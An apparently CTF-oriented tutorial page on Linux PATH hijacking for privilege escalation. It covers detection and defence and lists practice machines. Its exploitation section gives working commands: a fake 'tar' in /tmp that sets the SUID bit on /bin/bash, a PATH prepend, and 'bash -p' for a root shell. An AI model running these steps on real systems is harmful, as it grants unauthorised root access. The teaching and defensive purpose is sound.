PATH hijacking
PATH hijacking abuses a privileged program that calls another executable by name, without an absolute path. When a process runs, say, tar instead of /usr/bin/tar, the system looks it up by walking the directories in the $PATH environment variable in order. If the attacker can prepend a directory they control and drop a file with the same name there, the process runs their binary instead of the legitimate one, inheriting its privileges.
Spotting the relative call
The juiciest case is a root-owned SUID binary, or a root cron job, making a call like system("tar -cvf ..."). To find it, trace the binary or read its strings:
ltrace -f /usr/bin/vulnerable_program 2>&1 | grep -iE 'system|exec'
# system("tar -cvf /root/.backup/... ") ← tar with no absolute path
strings /usr/bin/vulnerable_program | grep -vE '^/' | grep -E 'tar|cp|id|service|systemctl'Any command with no leading / is a candidate: the binary trusts PATH.
Exploitation
Create a fake executable with that name in a writable directory and put that directory first in PATH before launching the binary:
cd /tmp
echo 'chmod u+s /bin/bash' > tar # payload: make bash SUID
chmod +x tar
export PATH=/tmp:$PATH # /tmp wins the lookup
/usr/bin/vulnerable_program # runs /tmp/tar as root
bash -p # shell that keeps euid=0The subtle part is bash's -p: without it the shell drops the elevated privileges at startup; with it they're kept, so a /bin/bash with the SUID bit (the one the payload just set) opens a session with euid=0(root).
Variants
- Via sudo with no
secure_path. Ifsudo -ldoesn't setsecure_pathand the allowed script calls a binary with no path, you hijack the same way (sudo PATH=/tmp:$PATH <script>whenenv_keepkeepsPATH). - Via cron. A root cron running a binary with no path inherits the crontab's
PATH; if we can write to a directory in thatPATH, we plant the binary (writable cron). - Same idea in Python: the import order is hijacked likewise (Python library hijack).
How to detect it. The signature is a privileged process executing a binary from an anomalous path (/tmp/tar, /dev/shm/id) instead of /usr/bin: auditd/Sysmon for Linux over execve reveal the path=/tmp/... with the ppid of the SUID binary or of cron. At rest, an executable in a user-writable directory whose name matches a system utility (tar, cp, service) is an indicator; and a shell with euid=0 whose parent is not an admin process closes the chain.
Defence. Always invoke external binaries by absolute path from privileged code (or sanitise PATH at the start of the program), define secure_path in sudoers, don't let root processes trust the inherited PATH, and minimise your own SUID binaries. Related to SUID binary abuse and to search-order library hijacking.
Machines where it's used
- AmaterasuProving Grounds Play
- PandoraHackTheBox
- PhotobombHackTheBox
- RoquefortProving Grounds Practice
- Symfonos 1 & 2VulnHub